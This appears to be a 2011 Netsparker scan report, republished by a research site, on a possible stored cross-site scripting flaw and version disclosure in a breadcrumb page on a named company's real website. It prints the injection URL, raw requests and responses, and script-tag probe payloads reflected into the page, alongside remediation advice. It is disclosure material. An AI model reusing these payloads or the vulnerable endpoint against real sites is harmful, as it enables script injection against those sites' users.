XSS in savvis.com using MicrosoftSharePointTeamServices: 12.0.0.6211, BreadCrumb



Hoyt LLC Research | Expanded Coverage of XSS in MicrosoftSharePointTeamServices: 12.0.0.6211
Loading

XSS, Cross Site Scripting, CWE-79, CAPEC-86, Javascript Injection

Netsparker - Scan Report Summary
TARGET URL
http://www.savvis.com/_layouts/SavvisUtilitie...
SCAN DATE
3/4/2011 9:01:51 PM
REPORT DATE
3/4/2011 9:16:53 PM
SCAN DURATION
00:00:38

Total Requests

Average Speed

req/sec.
4
identified
1
confirmed
0
critical
2
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
25 %
LOW
25 %
INFORMATION
50 %
[Possible] Permanent Cross-site Scripting

[Possible] Permanent Cross-site Scripting

1 TOTAL
IMPORTANT

Permanent XSS (Cross-site Scripting) allows an attacker to execute dynamic scripts (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly and to steal the user's credentials. This happens because the input entered by the user has been interpreted by HTML/Javascript/VbScript within the browser.

Permanent means that the attack will be stored in the back-end system. In normal XSS attacks an attack needs to e-mail the victim but in a permanent XSS an attacker can just execute the attack and wait for users to see the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.

XSS targets the users of the application instead of the server. Although this is a limitation, since it only allows attackers to hijack other users' session the attacker might attack an administrator to gain full control over the application.

Impact

Permanent XSS is a dangerous issue that has many exploitation vectors, some of which includes:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /_layouts/SavvisUtilities/BreadCrumb.aspx

/_layouts/SavvisUtilities/BreadCrumb.aspx

http://www.savvis.com/_layouts/SavvisUtilities/BreadCrumb.aspx?text=1%20ns=netsparker(0x00004B)%20&u..

Injection URL

http://www.savvis.com/_layouts/SavvisUtilities/BreadCrumb.aspx?text=%27%22%20ns=%20netsparker(0x00004A)%20&url=13414

Injection Request

GET /_layouts/SavvisUtilities/BreadCrumb.aspx?text=%27%22%20ns=%20netsparker(0x00004A)%20&url=13414 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.savvis.com
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}; ASP.NET_SessionId=ohxypz55yug2fm45t0lhv455
Accept-Encoding: gzip, deflate

Identification Request

GET /_layouts/SavvisUtilities/BreadCrumb.aspx?text=1%20ns=netsparker(0x00004B)%20&url=13414 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.savvis.com
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}; ASP.NET_SessionId=ohxypz55yug2fm45t0lhv455
Accept-Encoding: gzip, deflate

Injection Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Transfer-Encoding: chunked
Expires: Sat, 05 Mar 2011 03:00:34 GMT
Date: Sat, 05 Mar 2011 03:01:34 GMT
Content-Type: text/html; charset=utf-8
Content-Encoding:
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Vary: Accept-Encoding


Identification Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Transfer-Encoding: chunked
Expires: Sat, 05 Mar 2011 03:00:34 GMT
Date: Sat, 05 Mar 2011 03:01:34 GMT
Content-Type: text/html; charset=utf-8
Content-Encoding:
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Vary: Accept-Encoding


<p id="breadcrumb">Previously Viewed Pages<br/><span>Path to this content : </span><a href="13414" title="%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x000047%29%3C%2Fscript%3E">%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x000047%29%3C%2Fscript%3E</a> / <a href="13414" title="Contact Us '"--/style/scriptscriptnetsparker(0x000048)/script">Contact Us '"--/style/scriptscriptnetsparker(0x000048)/script</a> / <a href="13414" title="data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAwMDQ5KTwvc2NyaXB0Pg==">data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAwMDQ5KTwvc2NyaXB0Pg==</a> / <a href="13414" title="'" ns= netsparker(0x00004A)">'" ns= netsparker(0x00004A)</a> / 1 ns=netsparker(0x00004B)</p>
ASP.NET Version Disclosure

ASP.NET Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing ASP.NET version in the HTTP response. This information can help an attacker to develop further attacks and also the system can become an easier target for automated attacks. It was leaked from X-AspNet-Version banner of HTTP response or default ASP.NET error page.

Impact

An attacker can use disclosed information to harvest specific security vulnerabilities for the version identified. The attacker can also use this information in conjunction with the other vulnerabilities in the application or web server.

Remedy

Apply the following changes on your web.config file to prevent information leakage by using custom error pages and removing X-AspNet-Version from HTTP responses.
<System.Web>
     < httpRuntime enableVersionHeader="false" /> 
     <customErrors mode="On" defaultRedirect="~/error/GeneralError.aspx">
          <error statusCode="403" redirect="~/error/Forbidden.aspx" />
          <error statusCode="404" redirect="~/error/PageNotFound.aspx" />
          <error statusCode="500" redirect="~/error/InternalError.aspx" />
     </customErrors>
</System.Web>

Remedy References

- /_layouts/SavvisUtilities/BreadCrumb.aspx

/_layouts/SavvisUtilities/BreadCrumb.aspx

http://www.savvis.com/_layouts/SavvisUtilities/BreadCrumb.aspx?text=Contact%20Us&url=13414

Extracted Version

X-AspNet-Version: 2.0.50727

Request

GET /_layouts/SavvisUtilities/BreadCrumb.aspx?text=Contact%20Us&url=13414 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.savvis.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Set-Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}; HttpOnly; Path=/,ASP.NET_SessionId=ohxypz55yug2fm45t0lhv455; path=/; HttpOnly
Transfer-Encoding: chunked
Expires: Sat, 05 Mar 2011 03:00:10 GMT
Date: Sat, 05 Mar 2011 03:01:10 GMT
Content-Type: text/html; charset=utf-8
Content-Encoding:
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Vary: Accept-Encoding


<p id="breadcrumb">Previously Viewed Pages<br/><span>Path to this content : </span><a href="/" title="Home">Home</a> / Contact Us</p>
Forbidden Resource

Forbidden Resource

1 TOTAL
INFORMATION
CONFIRMED
1
Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for information purposes.

Impact

There is no impact resulting from this issue.
- /_layouts/

/_layouts/ CONFIRMED

http://www.savvis.com/_layouts/

Request

GET /_layouts/ HTTP/1.1
Referer: http://www.savvis.com/_layouts/SavvisUtilities/BreadCrumb.aspx?text=Contact%20Us&url=13414
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.savvis.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 403 Forbidden
Connection: Keep-Alive
Set-Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={34118E4A-FE50-4D71-BFA9-8A541F4A5C1A}; HttpOnly; Path=/
Transfer-Encoding: chunked
Date: Sat, 05 Mar 2011 03:01:10 GMT
Content-Type: text/html
Content-Encoding:
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW05
X-Powered-By: ASP.NET
Vary: Accept-Encoding


<html><head><title>Error</title></head><body><head><title>Directory Listing Denied</title></head><body><h1>Directory Listing Denied</h1>This Virtual Directory does not allow contents to be listed.</body></body></html>
IIS Version Disclosure

IIS Version Disclosure

1 TOTAL
INFORMATION
Netsparker identified that the target web server is disclosing the web server's version in the HTTP response. This information can help an attacker to gain a greater understanding of the system in use and potentially develop further attacks targeted at the specific web server version.

Impact

An attacker can look for specific security vulnerabilities for the version identified through the SERVER header information.

Remediation

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /_layouts/SavvisUtilities/BreadCrumb.aspx

/_layouts/SavvisUtilities/BreadCrumb.aspx

http://www.savvis.com/_layouts/SavvisUtilities/BreadCrumb.aspx?text=Contact%20Us&url=13414

Extracted Version

Microsoft-IIS/6.0

Request

GET /_layouts/SavvisUtilities/BreadCrumb.aspx?text=Contact%20Us&url=13414 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.savvis.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Set-Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}; HttpOnly; Path=/,ASP.NET_SessionId=ohxypz55yug2fm45t0lhv455; path=/; HttpOnly
Transfer-Encoding: chunked
Expires: Sat, 05 Mar 2011 03:00:10 GMT
Date: Sat, 05 Mar 2011 03:01:10 GMT
Content-Type: text/html; charset=utf-8
Content-Encoding:
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Vary: Accept-Encoding


<p id="breadcrumb">Previously Viewed Pages<br/><span>Path to this content : </span><a href="/" title="Home">Home</a> / Contact Us</p>